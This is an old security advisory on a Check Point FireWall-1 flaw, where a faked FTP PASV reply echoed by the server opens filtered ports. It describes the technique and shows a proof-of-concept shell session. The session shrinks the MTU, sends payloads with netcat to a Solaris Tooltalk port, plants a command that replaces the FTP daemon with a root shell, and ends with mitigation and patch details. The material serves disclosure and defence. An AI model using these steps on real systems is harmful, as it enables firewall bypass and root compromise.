COMMAND Firewall-1 SYSTEMS AFFECTED Firewall-1 PROBLEM Following text by Mikael Olsson will be used as introduction for something more by John McDonald. The low-down of it is fooling a firewall into opening "a TCP port of your choice" against an FTP server. Or, if you're running an evil FTP server, having it open ports against clients accessing the server. There are several "flaws" and assumption in this idea, so it is likely to NOT work with several FTP servers and firewalls. On the other hand, it might work with some. Now, the idea. Assume we're accessing an FTP server that is protected by a firewall of some kind. The firewall is monitoring our command channel, port 21, for "PASV" messages sent by the server. Upon receipt of such messages, it will open a channel to the port number specified in the message. Now, what if we'd be able to send fake "PASV" message to the server, and have it echo them out through the firewall? We'd be able to access arbitrary TCP ports on the FTP server. (23, 139, 6000?) Breaking through a stateful inspection FTP ALG ---------------------------------------------- One if the ideas has to do with stateful inspection firewalls. Most of them don't reassemble the connection completely, but rather trust that the FTP server will send the "PASV" message as the first string in a new packet - this is usually what will happen? What if we "get" a file called AAAAAAA[about 100 A]AAAAPASV 123, 123, 123, 123, 0, 139 where "123, 123, 123, 123" is the public address of the FTP server. It is somewhat likely that the FTP server will send us an error message stating that this file name is illegal. Now, WHAT if we were to decrease the TCP MSS in this connection (easily done) to something like.... 100 bytes? Wouldn't we be able to calculate just how many 'A's we'd have to add to the beginning of the file name until the "PASV" command becomes the first string in the packet following the error message with all the 'A's ? Wouldn't the firewall then obey our fake PASV command that the server just echoed for us? Of course, you might get lots of garbage after the echoed PASV command, like a trailing quote and maybe bits and pieces of the error message. But that might not matter (assuming that the firewall simply does something along the lines of sscanf() to get the parameters after having found the "PASV" text in the beginning of the packet). This all assumes that the firewall isn't completely reassembling the stream, but rather looking at the contents of individual packets. Breaking through a "proxy" FTP ALG ---------------------------------- There's another case here, and that is where the firewall completely reassembles the TCP stream before analyzing it. Call it a "proxy", call it whatever. This is a LOT harder, but it could maybe work with some FTP servers? You'd have to be able to coax the FTP server into sending multiple lines (CRLF terminated) in order to have it look like a real PASV command. You might also have to mimic a legitimate GET request from the client before having the firewall accept the PASV command from the server. As said, this is nowhere near easy, but someone will come up with an FTP server that can be coaxed into doing this, and a way to fool the firewall. Breaking through to a client ---------------------------- This is not as feasible an attack. You'd have to have an FTP server of your own, and make people connect to it. (As if this can't be done by mailing HTML mail to people containing an IMG SRC pointing to an FTP location?) Anyhow, applying all the theory above with different types of firewall, it ought to be possible to make the client echo bogus "PORT" commands, which the firewall would interpret and result in ports being opened through the firewall. This is nowhere near as likely as the server cases above. It is a lot more likely that you might coax a server into echoing things than fooling a client into echoing things. Btw, another thing about the server cases above. If the firewall accepts any IP address in the PASV command from the server, not just the address of the FTP server itself, you might be able to fool the firewall into opening holes to pretty much any server and port behind it (long shot). John McDonald based on above added following. The basic idea of the described attack is to subvert the security policy implemented by a stateful firewall. This is done by triggering the generation of a TCP packet that, when inspected by the firewall, will change the firewall's internal state such that an attacker is able to establish a TCP connection to a filtered port through the firewall. This packet is the server response to a PASV user request during a FTP session. He has also come across this attack, and were in the process of preparing a more comprehensive advisory, including other FireWall-1 security issues he has documented. The idea was to notify Check Point of these problems and give them time to develop a software update. However, since the general form of this vulnerability was independently documented by Mikael Olsson he did that earlier that planned. Check Point FireWall-1 is vulnerable to an attack involving the stateful support for the FTP protocol, specifically the handling of the PASV command. Typically, a user will send an FTP server the PASV command, and the response from the FTP server will be the 227 message specifying to which destination IP address and destination port the client is expected to connect for the next data connection. FireWall-1 monitors the packets sent from the FTP server to the client, looking for the string "227 " at the beginning of each packet. Upon a match, FireWall-1 will extract the destination IP address and the destination port given in the packet payload, verify that the specified IP address corresponds to the source address of the packet, and allow an incoming TCP connection through the firewall according to the destination IP address and the destination port extracted from the datagram. There are several restrictions on this connection which limit its utility. Data can only travel in one direction and it cannot be to a port that is listed in FireWall-1's list of well-known TCP services. It is important to note that FireWall-1 version 3 does not have this limitation, connections can be made to any port, and the flow of data is not managed. In order to trick FireWall-1 into allowing a connection to a port on the FTP server, we must have the server send the "227 " string as the first four bytes in a packet that, according to its source port, belongs to a FTP control connection. We can typically accomplish this by using the error handler of the FTP daemon, in conjunction with limiting the MSS of our TCP connection. This is easy to do by setting the MTU of our interface to a small value we can work with, before we establish a control connection to the victim FTP server. This causes the return packets from the server to be smaller, allowing us to control more easily how data is split into packets. Thus, we can make the "227 " message returned by the error handler appear at the beginning of a packet. Another way to accomplish this would be to ACK up to the message we want to receive, and then have the server retransmit the data we want to be contained in an isolated packet. Here is an example of an attack based on this technique. There is a FireWall-1 machine between gumpe and the 172.16.0.2 server, which only permits incoming FTP connections. 172.16.0.2 is a default Solaris 2.6 install, with the Tooltalk Database vulnerability. We send the datagram directly to the service's TCP port, in spite of this port being blocked by the firewall. Note that since there is no response expected, the one-way restriction doesn't affect this attack. All testings were done on a Nokia IPSO machine running FW-1 version 4.0.SP-4. [root@gumpe /root]# strings hackfile localhost """"3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd [root@gumpe /root]# /sbin/ifconfig eth0 mtu 100 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open 220 sol FTP server (SunOS 5.6) ready. ...........................................227 (172,16,0,2,128,7) 500 '........................................... [1]+ Stopped nc -vvv 172.16.0.2 21 [root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 32775 (?) open sent 80, rcvd 0 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open 220 sol FTP server (SunOS 5.6) ready. ...........................................227 (172,16,0,2,128,7) 500 '........................................... [2]+ Stopped nc -vvv 172.16.0.2 21 [root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 32775 (?) open sent 1168, rcvd 0 [root@gumpe /root]# nc -vvv 172.16.0.2 21 172.16.0.2: inverse host lookup failed: (UNKNOWN) [172.16.0.2] 21 (?) open id uid=0(root) gid=0(root) There is an easier way to perform a similar attack on this setup, since the default Solaris FTP daemon allows a bounce attack, but this should suffice to demonstrate the potential severity of this problem. So, if you have a FTP server behind a FireWall-1, it is possible for an attacker to open TCP connections to certain ports on the machine, and perform limited communication with those services. If you are running FireWall-1 version 3, you should consider your FTP server to have no TCP filtering. Solving this problem is inherently difficult, but there are simple steps to take to minimize this risk. If the machine is properly hardened, i.e. if there are no services available on it, apart from FTP, this makes this vulnerability have little significance. Some proxy based firewalls have problems with this bug, and even more so than packet inspecting firewalls. Proxy based firewalls looks at the FTP protocol TCP stream and doesn't usually care about packet boundaries. The reply from wuftpd STAT can be forged to look like a seeminly valid FTP control reply. SOLUTION You can also disable the PASV handling in the FireWall-1 GUI. However, this breaks your configuration for passive FTP clients. So, proper hardening is some kind of solution, but not the solution. According to CheckPOint minimizing the possible threat: - Do not enable PASV FTP if not needed - Use the FTP Security Server or HTTP security server for PASV FTP connections to internal FTP servers - Those running publicly accessible FTP servers should follow good host security practices (e.g., not running additional, possibly unnecessary and vulnerable services, keeping up with OS and/or application patches) - For those using stateful inspection of passive FTP, the following patch has been supplied The patch consists of a new $FWDIR/lib/base.def file that includes a fix to the problem (the file is compatible with Firewall-1 4.0 SP-5, other platforms will be released as soon as possible). The fix involves an enforcement on the existence of the newline character at the end of each packet on the FTP control connection, this will close off the described vulnerability. It should be noted that this may cause connectivity problems (i.e., blocked FTP connections) in the following scenarios: 1. If FTP control messages larger than the MTU (e.g., large PWD) are exchanged 2. If some FTP clients/servers does not put newline at the end of the line 3. When passing FWZ encrypted traffic through an intermediate Firewall gateway The enforcement can be easily disabled by commenting the following line in the base.def file (or by restoring the original base.def file): #define FTP_ENFORCE_NL The patch described above does not sound as though it will 'fix the problem'. The enforcement of a newline at the end of the packet might still open the possibility of exploitation through at least few methods. Even with the best firewall in the world, you need an ftp server that implements the FTP protocol correctly before you have a hope of handling PASV correctly.